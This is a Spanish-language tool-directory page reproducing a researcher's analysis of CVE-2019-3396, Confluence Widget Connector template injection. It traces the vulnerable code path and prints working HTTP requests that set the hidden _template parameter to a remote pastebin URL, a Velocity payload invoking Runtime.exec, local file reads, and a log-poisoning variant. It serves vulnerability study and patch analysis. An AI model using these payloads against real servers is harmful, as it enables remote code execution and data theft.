Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2019-3396 — Inyección de plantilla no autorizada en Confluence | Kitploit
Herramientas/GitHubGitHub/petrusviet/cve-2019-3396
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Inyección de plantilla no autorizada en Confluence

Ver Repositorio
21hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección de plantilla no autorizada en Confluence (CVE-2019-3396)

I) Construcción

  • Este error ocurre en las versiones:
    • Todas las versiones 1.x.x, 2.x.x, 3.x.x, 4.x.x y 5.x.x
    • Todas las versiones 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x y 6.5.x
    • Todas las versiones 6.6.x anteriores a 6.6.12
    • Todas las versiones 6.7.x, 6.8.x, 6.9.x, 6.10.x y 6.11.x
    • Todas las versiones 6.12.x anteriores a 6.12.3
    • Todas las versiones 6.13.x anteriores a 6.13.3
    • Todas las versiones 6.14.x anteriores a 6.14.2
  • Después de descargar el código fuente, necesitas:
    • Cambiar el valor de confluence.home a la ruta del home de Confluence en el archivo ./confluence/WEB-INF/classes/confluence-init.properties
    • Agregar el valor CATALINA_OPTS para que el programa pueda ejecutarse en modo de depuración remota

En Windows, archivo ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

En Linux, archivo ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • En el IDE (Intellij) creamos una Configuración de Depuración: Remote JVM Debug con los valores host y port como localhost:5005 y Command line arguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Podemos usar Postgresql como base de datos:
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • Necesitamos añadir los siguientes jars: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar a la librería para que al depurar podamos ver el código fuente necesario.

  • Ejecutamos el archivo ./bin/start-confluence.bat y pueden consultar esta guía para instalar desde el código fuente.

II) Análisis

  • Después de leer la Descripción, podemos saber que este error comienza desde la función Widget Connector, así que busqué en Google inmediatamente para saber qué es esta función y cómo usarla:

    2 Editar una página

    3
    Seleccionar Other macros

    4 Seleccionar Widget connector

    image

  • Elegí parámetros al azar y presioné preview, luego fui a Burp para ver si había algo interesante. image

  • En este paquete, vi un parámetro "pluginKey":"com.atlassian.confluence.extra.widgetconnector", así que supuse que la función Widget Connector está definida en la clase com.atlassian.confluence.extra.widgetconnector, por lo que busqué en la ruta si había algún jar sospechoso.

image

  • Intenté añadir el archivo ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar a la librería del proyecto para poder leer el código fuente y depurar.

    1
    Cómo añadir archivo jar a la librería

  • Al abrir el paquete widgetconnector, sentí simpatía por la clase WidgetMacro, así que puse un breakpoint en el constructor y en la función execute de esta clase para ver si esta clase se invocaba al usar la función Preview 🕵️

    • image

    • La función execute fue llamada, luego el programa llama a DefaultRenderManager.getEmbeddedHtml

    • image

    • Vemos que para entrar en el if necesitamos cumplir la condición widgetRenderer.matches(url). Procedemos a verificar la función en la clase

Descargar herramienta
widgetRenderer.matches(url)
YoutubeRenderer
  • image

  • image

  • Por lo tanto, necesito que el parámetro url sea una URL de un video de YouTube (o Vimeo, Twitter, ...). Configuré url como la URL de un video de YouTube cualquiera y el programa saltó al if para luego llamar a la función widgetRenderer.getEmbeddedHtml(url, params) (clase YoutubeRenderer)

  • image

  • El programa salta a la función setDefaultParam, donde vemos un parámetro oculto _template que parece sospechoso :)

  • image

  • Después de salir de la función setDefaultParam, el programa llama a la función DefaultVelocityRenderService.render

  • image

  • Continúa a la función getRenderedTemplate y VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

  • image

  • image

  • Luego a VelocityUtils.getRenderedTemplate(String templateName, Context context) y getRenderedTemplateWithoutSwallowingErrors(templateName, context)

  • image

  • La función renderTemplateWithoutSwallowingErrors

  • image

  • El programa llama a la función getTemplate y luego a VelocityEngine.getTemplate y RuntimeInstance.getTemplate, aquí vemos que el programa llama a la función getResource con el parámetro de entrada que es el valor del parámetro _template. En Java, getResource puede usarse para cargar recursos en forma de archivo local o un archivo en Internet (a través del protocolo HTTP).

  • Alto y piensa: ¿esto permite a un atacante introducir cualquier plantilla (desde el servidor local o desde el host del atacante) en el programa insertando el parámetro _template en la solicitud?

  • image

  • Continuamos la traza inversa para ver cómo procesa el programa la plantilla una vez obtenida:

  • Después de tener la plantilla, el programa llama a la función VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

  • image

  • Luego a template.merge(context, writer);

  • root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC puede ser renderizado aquí  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • Aquí vemos que el programa llama a SimpleNode.render, esta función usa la plantilla Velocity para analizar la plantilla. Llegados a este punto, podemos escribir un PoC de RCE:

    Paquete de solicitud POST al solicitar la función Preview

    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Cookie: seraph.confluence=; JSESSIONID=
    Connection: close
    
    {
    "contentId":"622594",
    "macro": {
        "name":"widget",
        "body":"","params": {
          "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
          "width":"10",
          "height":"10",
          "_template":"https://pastebin.com/raw/JPEpiuLG"
          }
    }
    }
    

    archivo payload

    root@kitploit:~
    #set($x="x")
    $x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
    
    • El PoC se ejecutó con éxito:
    • image

    Stack call

    root@kitploit:~
    WidgetMacro: execute
      -> DefaultRenderManager: getEmbeddedHtml
      	-> YoutubeRenderer: getEmbeddedHtml
      		-> DefaultVelocityRenderService: render -> getRenderedTemplate
      			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
      				
      				-> VelocityEngine: getTemplate
      					-> RuntimeInstance: getResource 
    
      			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
    
      				-> Template: merge
      					=>  SimpleNode: render
    

    Así que hemos replicado con éxito este error, pero en el caso de que el objetivo sea un servidor que bloquea el tráfico saliente, el atacante no puede obtener recursos de Internet, solo puede obtener recursos de archivos locales del servidor.

    Entonces, en ese caso, ¿cómo se puede explotar?

    Recibí una sugerencia de que de alguna manera el usuario podría inyectar un payload en el archivo de registro. Esta es una idea bastante buena, así que me puse manos a la obra de inmediato.

    • Comencé a revisar los archivos de registro en Confluence Home para ver qué tenían de especial. Vi los archivos de registro en ./shared-home/analytics-logs/ y encontré algunos pares clave-valor familiares, parece que se envían desde el lado del cliente.
    • image
    • Vi que hay un paquete POST /rest/analytics/1.0/publish/bulk que envía algunos pares clave-valor como los anteriores.
    root@kitploit:~
    [{"name":"browser.metrics.navigation",
    "properties":{
     "apdex":"0.5",
     "firstPaint":"528",
     "isInitial":"true",
     "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
     "key":"confluence.dashboard.view",
     "navigationType":"0",
     "readyForUser":"1117",
     "redirectCount":"0",
     "resourceLoadedEnd":"499",
     "resourceLoadedStart":90.35499999299645,
     "threshold":"1000",
     "unloadEventStart":"47",
     "unloadEventEnd":"47",
     "fetchStart":"25",
     "domainLookupStart":"25",
     "domainLookupEnd":"25",
     "connectStart":"25",
     "connectEnd":"25",
     "requestStart":"27",
     "responseStart":"28",
     "responseEnd":"37",
     "domLoading":"52",
     "domInteractive":"538",
     "domContentLoadedEventStart":"538",
     "domContentLoadedEventEnd":"691",
     "domComplete":"1176",
     "loadEventStart":"1176",
     "loadEventEnd":"1176",
     "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
     "pageEnd":"531",
     "isBigPipeEnabled":"false",
     "serverDuration":"339",
     "requestCorrelationId":"36006c54d2919ecd",
     "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
     "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
     }]
    
    • Probé a reemplazar algunos valores y vi que el valor resourceTiming se puede modificar libremente y aún así se incluye en el registro.
    • image
    • Así que ya podemos inyectar un payload en el archivo de registro que se encuentra en el local del servidor.
    • A partir de aquí podemos leer el archivo ./confluence/WEB-INF/classes/confluence-init.properties para conocer la ubicación del home de Confluence.
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
      
    {
    "contentId":"1507329",
    "macro":{
    "name":"widget",
    "body":"",
    "params":{
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "_template":"/../../WEB-INF/classes/confluence-init.properties",
      "width":"11",
      "height":"11"
      }
    }
    }
    
    • Y luego desde allí encontrar la ubicación del archivo de registro que contiene el payload que inyecté:
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
        
    {
    "contentId":"1507329",
    "macro":{
      "name":"widget",
      "body":"",
      "params":{
        "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
        "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
        "width":"11",
        "height":"11"
        }
      }
    }
    
    • Si el archivo de registro es demasiado grande para ser usado como plantilla para analizar, podemos forzar el registro para que alcance el límite de tamaño, momento en el que el sistema escribe automáticamente en un nuevo archivo de registro y el atacante puede aprovechar la oportunidad de que el nuevo archivo de registro aún no es grande para inyectar un payload y usarlo.

    III) Corrección

    En la versión parcheada, se agregó a la clase WidgetMacro la función doSanitizeParameters para eliminar el parámetro "_template" antes de llamar a renderManager.getEmbeddedHtml(url, parameters);

    image image image